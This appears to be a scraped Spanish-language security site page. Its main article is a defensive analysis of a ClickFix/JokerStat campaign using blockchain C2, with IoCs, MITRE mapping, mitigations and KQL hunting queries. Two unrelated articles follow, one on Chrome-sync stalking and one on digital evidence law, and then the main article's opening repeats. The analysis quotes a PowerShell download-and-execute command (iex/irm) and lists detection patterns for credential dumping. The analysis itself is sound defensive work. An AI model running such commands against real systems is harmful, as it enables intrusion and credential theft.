disección de una operación pre-ransomware como servicio – CYBERDEFENSA.MX

CIBER-TEC, En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).

Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.

1. El contexto y la anatomía de la cadena

Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.

La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.

2. ¿Qué es ClickFix? Mecánica y por qué funciona

ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.

El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.

El comando del portapapeles y el polimorfismo sintáctico

El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https:///dl/p/'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https:///dl/p/' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.

¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.

3. El actor y la estructura de afiliados (JokerStat MaaS)

Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.

La plataforma: JokerStat como kit MaaS

El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).

Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.

La post-explotación: solapamiento con Rapid Brigantine

La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.

4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon

Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.

Qué es EtherHiding y de dónde viene

EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.

Cómo funciona en esta campaña, paso a paso

El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.

Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.

Por qué importa: resiliencia frente a auditabilidad

El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.

Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.

El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.

5. Técnicas de evasión

Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.

Esteganografía en PNG y ejecución en memoria con Donut

El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.

DLL sideloading sobre binario firmado

El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.

Exfiltración de pantalla y reinyección dinámica del portapapeles

El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.

Polimorfismo, rotación y persistencia resistente al aislamiento

A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.

6. Post-explotación y staging pre-ransomware

La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.

7. Indicadores de compromiso (IoC)

Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.

Tipo Indicador / valor
Contrato C2 (Polygon) 0xf5966808a9ECbdb8794F568922809C52b0Fd2446
Selector de método 0x3bc5de30 (invocado vía eth_call)
Dominios de C2 morganstat.sbs · massstat.co · stroinnetsata.biz · xverikstat.us · okliimnwq.co (parte de ~15)
Rutas / endpoints /dl/p/ · /collect/screen · /cload?k=&os=&h=
Artefacto de host __jks_screen_run_ (variable de guarda; marca del kit JokerStat)
Soporte del kit Telegram @jokerstat_support
Payload PowerShell iex(irm 'https:///dl/p/' -UseBasicParsing)

8. Mapeo a MITRE ATT&CK

Táctica Técnica Aplicación
Initial Access T1189 Drive-by Compromise Falsa actualización SocGholish en WordPress comprometido
Execution T1204.004 · T1059.001 ClickFix → PowerShell ejecutado por la víctima
Defense Evasion T1027.003 Steganography Shellcode Donut oculto en píxeles de un PNG
Defense Evasion T1574.002 DLL Side-Loading Binario Microsoft firmado carga una DLL maliciosa
Defense Evasion T1055 Process Injection Ejecución del shellcode en memoria
Command & Control T1102 · T1568 (EtherHiding) Contrato en Polygon como dead-drop resolver + dominios rotatorios
Collection T1113 Screen Capture Exfiltración de pantalla con html2canvas cada 120 s
Collection / Exec T1115 Clipboard Data Inyección y reescritura dinámica del portapapeles
Credential Access T1003.001 LSASS Memory Volcado de credenciales del proceso LSASS
Discovery T1018 · T1069 (LDAP) Enumeración de administradores de dominio y equipos
Impact (staging) T1486 (preparación) Auto-replicación y preparación del cifrado

9. Recomendaciones de protección

Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.

C1 — Cortar el eslabón humano en el endpoint

Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.

C2 — Gobernar el egress y vigilar la resolución en blockchain

La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.

C3 — Endurecer el endpoint contra la evasión en memoria

Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.

C4 — Redefinir la contención en respuesta a incidentes

Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.

C5 — Cazar la actividad post-explotación como red de seguridad

Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.

10. Detección e ingeniería de cacería

La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.

KQL · Cadena parental anómala (Defender / Sentinel)

// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine

KQL · Egress hacia RPC de blockchain desde procesos no-navegador

// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
        "onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl

KQL · Acceso sospechoso a LSASS

DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath

Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.

Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.

La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.

Fuentes y referencias

  1. Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
  2. Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
  3. Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
  4. Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
  5. Guardio Labs — EtherHiding: Hiding Web2 Malicious Code in Web3 Smart Contracts (divulgación original, 2023).
  6. Google Threat Intelligence Group / Mandiant — DPRK Adopts EtherHiding (UNC5342, dead-drop resolver, oct. 2025).
  7. The DFIR Report — EtherRAT → TukTuk C2 → The Gentlemen ransomware (C2 on-chain con desenlace en ransomware, abr. 2026).
  8. BlueVoyant — Lorem Ipsum, ClickFix Pivot & Rapid Brigantine. Sekoia.io — Unveiling ErrTraffic (ClickFix + EtherHiding MaaS).
  9. Huntress — ClickFix Gets Creative: Malware Buried in Images. Silent Push — Unmasking SocGholish and its operator TA569.
  10. MITRE ATT&CK — matriz empresarial de tácticas y técnicas.

Autor: Nahum Deavila. Fuente primaria: Unit 42, Palo Alto Networks.

FUENTE: CIBER-TEC

Cómo los acosadores aprovechan la sincronización de Google Chrome para espiar a las víctimas

Según los investigadores, los acosadores cibernéticos están explotando cada vez más una función de Google Chrome destinada a la comodidad del usuario de teléfonos móviles, pero que puede dar a los intrusos un amplio acceso a la información privada del propietario del dispositivo.

Certo Software dijo en un publicación de blog El martes, los acosadores están haciendo uso de la capacidad de sincronización de Chrome (destinada a que iniciar sesión en Chrome en un dispositivo también sea más fácil hacerlo en otros dispositivos) para espiar el historial de navegación del propietario de un teléfono y obtener acceso a sus contraseñas almacenadas.

Como ejemplo, Certo utilizó el caso de una víctima seudónima, Emma, ​​que había buscado un abogado de familia y visitó un sitio web de apoyo a la violencia doméstica mientras su pareja dormía, solo para que él se lo dijera dos días después.

«Emma había tenido cuidado de usar sólo su propio dispositivo y no había notado que aparecieran nuevas aplicaciones en su teléfono», escribió el cofundador de Certo, Russell Kent-Payne. «Lo que ella no sabía era que semanas antes, durante unos minutos sin supervisión con su teléfono, él había abierto la aplicación Chrome y silenciosamente había iniciado sesión en su propia cuenta de Google. A partir de ese momento, cada sitio que ella visitaba se copiaba directamente a su cuenta, visible desde cualquier dispositivo, en cualquier parte del mundo».

La vigilancia es tan fácil como eso: acceso breve a un teléfono, iniciar sesión en una cuenta de Google y asegurarse de que la sincronización esté activada para esa cuenta.

Eva Galperin, directora de ciberseguridad de Electronic Frontier Foundation, dijo en la aplicación de redes sociales Bluesky que la investigación de Certo sirve como «un importante recordatorio de que el abuso facilitado por la tecnología no se limita sólo al stalkerware».

Certo dijo que Google podría hacer un par de cosas, como proporcionar una notificación temporal cada vez que se agrega una nueva cuenta o se activa la sincronización u ofrecer un marcador regular para indicar cuándo la sincronización está activa y con qué cuenta se está sincronizando, para proteger a los usuarios.

Google no respondió a múltiples solicitudes de comentarios sobre los hallazgos de Certo.

Pero el aumento en el uso de ese método de acecho podría ser un subproducto de los éxitos de seguridad en otros aspectos de la lucha contra el software espía, afirmó Certo.

«Los teléfonos inteligentes modernos son más difíciles que nunca de verse comprometidos. Las actualizaciones periódicas de seguridad, las reglas más estrictas de las tiendas de aplicaciones y la detección de amenazas en el dispositivo han hecho que el software espía tradicional sea una apuesta mucho más riesgosa para un ciberacosador de lo que solía ser», escribió Kent-Payne. «Como resultado, vemos cada vez más a los abusadores recurrir a algo mucho más simple: las aplicaciones legítimas que ya están instaladas en el teléfono de su víctima. Sin instalación, sin permisos sospechosos, sin consumo de batería revelador; simplemente un mal uso silencioso de una característica que la víctima nunca supo que existía».

Al mismo tiempo, Chrome es el navegador más popular del mundo y esta no es la primera vez que surgen preocupaciones de seguridad. apareció sobre su función de sincronización, entre otras preocupaciones.

Tim Starks

Escrito por Tim Starks

Tim Starks es reportero senior de CyberScoop. Sus paradas anteriores incluyen trabajar en The Washington Post, POLITICO y Congressional Quarterly. Originario de Evansville, Indiana, se ocupa de la ciberseguridad desde 2003. Envíe un correo electrónico a Tim aquí: tim.starks@cyberscoop.com.

¿Es válida la evidencia digital que recoge un fiscal sin herramienta certificada?

Por Luisa Fernanda Barragán Ávila — Abogada · Magíster en Derecho Digital

Hace algunos meses acompañé un proceso penal en el que la defensa logró excluir un dictamen pericial digital que, técnicamente, era impecable. El análisis era correcto. Las conclusiones eran válidas. Pero la forma en que se recolectó la información en campo dejó una grieta que cualquier abogado con experiencia podía explotar.

El juez lo sabía. La fiscalía lo sabía. Y, tristemente, lo supieron demasiado tarde.

Ese proceso me llevó a reflexionar sobre una pregunta que debería ser obligatoria en cualquier curso de investigación criminal, pero que rara vez se hace con la profundidad que merece: ¿puede una evidencia digital ser técnicamente correcta y jurídicamente inadmisible al mismo tiempo?

La respuesta es sí. Y con más frecuencia de lo que los equipos de investigación quisieran admitir.

La cadena de custodia digital no empieza en el laboratorio

Uno de los errores más comunes que observo en la práctica —y lo digo con el respeto que merecen los investigadores que trabajan bajo presión y con recursos limitados— es creer que la cadena de custodia digital empieza cuando la evidencia llega al laboratorio forense.

No. Empieza en el momento exacto en que se toca por primera vez el dispositivo, el sistema o, en el caso de la telefonía móvil, en el momento en que se hace el primer registro de actividad en campo.

El artículo 275 del Código de Procedimiento Penal colombiano (Ley 906 de 2004) reconoce los mensajes de datos como elemento material probatorio. Pero ese reconocimiento no opera en el vacío: la evidencia electrónica tiene que haber sido recolectada, etiquetada, preservada y transportada siguiendo procedimientos que garanticen que lo que se presenta ante el juez es lo mismo, sin alteración, que lo que existía en el momento de los hechos.

Ese principio tiene nombre en el mundo del derecho anglosajón —del que bebemos mucho en el sistema acusatorio— y en Colombia lo aplicamos a través de lo que llamamos el principio de mismidad.

El principio de mismidad: el argumento que la defensa siempre intentará tumbar

El principio de mismidad de la evidencia exige que el elemento probatorio presentado al juez sea idéntico al que se recolectó en la escena. Cualquier diferencia, por mínima que sea, puede ser utilizada por la defensa para solicitar la exclusión de la prueba por violación al debido proceso probatorio.

¿Cómo se garantiza la mismidad en evidencia digital? A través de los valores hash criptográficos.

Un hash es una huella digital matemática de un archivo o conjunto de datos. El estándar más ampliamente utilizado en forensia digital es el SHA-256. Funciona así: en el momento de la recolección, el sistema genera automáticamente un código alfanumérico único para los datos capturados. Si un solo bit de esa información cambia —por error, por manipulación o por cualquier otra causa— el hash cambia completamente. Y si el hash que se presenta en el juicio no coincide con el hash que se registró en campo, la defensa tiene un argumento sólido para cuestionar la integridad de la evidencia.

Aquí está el problema práctico: si la herramienta con la que se recolectó la información no genera hash automático en el momento de la captura, la cadena de custodia tiene un hueco que ningún informe pericial posterior puede cerrar.

¿Qué dice la norma internacional?

La comunidad internacional de forensia digital no dejó esto al azar. La norma ISO/IEC 27037:2012 —que en Colombia se aplica como referente técnico en procesos de investigación criminal con componente digital— establece directrices específicas para la identificación, recolección, adquisición y preservación de evidencia digital. Su punto de partida es claro: la evidencia digital debe ser manejada de manera que se preserve su integridad, su autenticidad y su confiabilidad desde el momento de su identificación hasta su presentación ante la autoridad competente.

Complementariamente, la RFC 3227 —guía de mejores prácticas del IETF para la recolección y archivo de evidencia digital— establece el orden de volatilidad que debe guiar la recolección y enfatiza que el procedimiento debe ser documentado de forma que pueda ser auditado y reproducido.

Ninguna de estas normas es de cumplimiento obligatorio en Colombia mediante ley. Pero en el escenario del contrainterrogatorio, cuando un experto de la defensa pregunta al investigador de campo “¿bajo qué norma técnica fue recolectada esta información?”, la incapacidad de responder con precisión siembra duda. Y en el sistema acusatorio, la duda trabaja para la defensa.

El escenario de la telefonía móvil: un caso especialmente crítico

Quiero detenerme en el contexto específico de la investigación basada en telefonía celular, porque es donde he visto las inconsistencias más frecuentes y las más costosas en términos procesales.

Cuando un fiscal necesita demostrar que una persona estuvo en determinado lugar a determinada hora, uno de los caminos más utilizados es el análisis de los Registros Detallados de Llamadas (CDRs) suministrados por los operadores celulares. Pero ese análisis requiere un paso previo que muchos dan por sentado sin ejecutarlo correctamente: el inventario forense de las estaciones base (BTS) que dan cobertura en el área de los hechos.

¿Por qué es crítico ese inventario? Porque los CDRs no identifican una ubicación geográfica exacta por sí solos. Identifican la antena a la que se conectó el dispositivo. Si no existe un inventario riguroso y documentado de qué antenas estaban activas, en qué frecuencias y bajo qué tecnología (2G, 3G, 4G, 5G) en el momento de los hechos, el análisis de los CDRs pierde precisión y, peor aún, pierde credibilidad frente al juez.

Ahora bien: ¿cómo se hace ese inventario correctamente?

En primer lugar, debe hacerse en el sitio, porque las condiciones de cobertura varían según el entorno físico. No es lo mismo hacer el inventario desde una oficina con la base de datos de un operador que hacerlo en campo con dispositivos que recreen las condiciones reales de conectividad del momento de los hechos.

En segundo lugar, los datos del inventario deben registrarse con todos los parámetros técnicos identificadores: MCC, MNC, LAC/TAC, CID, NODE, banda de frecuencia, tipo de tecnología, coordenadas geográficas, operador, entre otros según la tecnología (2G, 3G, 4G y 5G). La omisión de cualquiera de estos parámetros puede ser utilizada para cuestionar la correspondencia entre las antenas inventariadas y las antenas que aparecen en los CDRs.

En tercer lugar —y aquí regresamos al punto del principio de mismidad— esa información debe quedar sellada con un hash criptográfico desde el momento de su captura, de forma que no sea posible modificarla posteriormente sin que el sistema lo detecte.

La pregunta que el juez hará y que la investigación debe poder responder

En mi experiencia acompañando procesos, hay una pregunta que aparece con una frecuencia inquietante en las audiencias preparatorias y de juicio oral cuando se discute evidencia de telefonía: “¿Cómo garantiza usted que la información que presenta hoy es exactamente la misma que fue recolectada en campo, sin modificación alguna?”

Si el investigador puede responder: “Señoría, el sistema generó un hash SHA-256 en el momento de la captura. El hash del archivo original y el hash del archivo que estoy presentando son idénticos, y así consta en el informe de campo”, la cadena de custodia digital está blindada.

Si la respuesta es: “Los datos fueron recolectados manualmente y exportados a una hoja de cálculo”, la puerta está abierta.

La diferencia entre una respuesta y otra no depende solo del investigador. Depende de la herramienta que utiliza.

Una reflexión final sobre la responsabilidad institucional

Esta no es solo una discusión técnica. Es una discusión sobre la efectividad del sistema de justicia.

Cuando una evidencia legítima es excluida por un defecto de procedimiento en la recolección, no pierde solo la fiscalía. Pierde la víctima, que ve cómo un proceso válido se cae por razones que poco tienen que ver con la verdad de los hechos. Y pierde la institución, que invirtió tiempo, recursos humanos y presupuesto en una investigación que no pudo llegar a buen término.

Las entidades de policía judicial y las fiscalías tienen la responsabilidad —y en muchos casos ya tienen la conciencia— de dotar a sus investigadores de herramientas que no solo funcionen, sino que funcionen conforme a los estándares que el proceso penal exige. Eso incluye la generación automática de hashes, la documentación estructurada de parámetros técnicos, la producción del informe de campo en formatos reconocidos por el sistema (como el FPJ-11), y la trazabilidad completa desde el momento de la captura.

No es un lujo investigativo. Es el piso mínimo de una investigación que puede sostenerse ante un juez.

La conversación sobre estándares en forensia de campo es urgente y debe darse entre quienes investigan, quienes acusan, quienes defienden y quienes juzgan.

Luisa Fernanda Barragán Ávila
Abogada · Magíster en Derecho Digital

FUENTE: CIBER-TEC

ClickFix, JokerStat y C2 en blockchain: disección de una operación pre-ransomware como servicio

CIBER-TEC, En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).

Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.

1. El contexto y la anatomía de la cadena

Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.

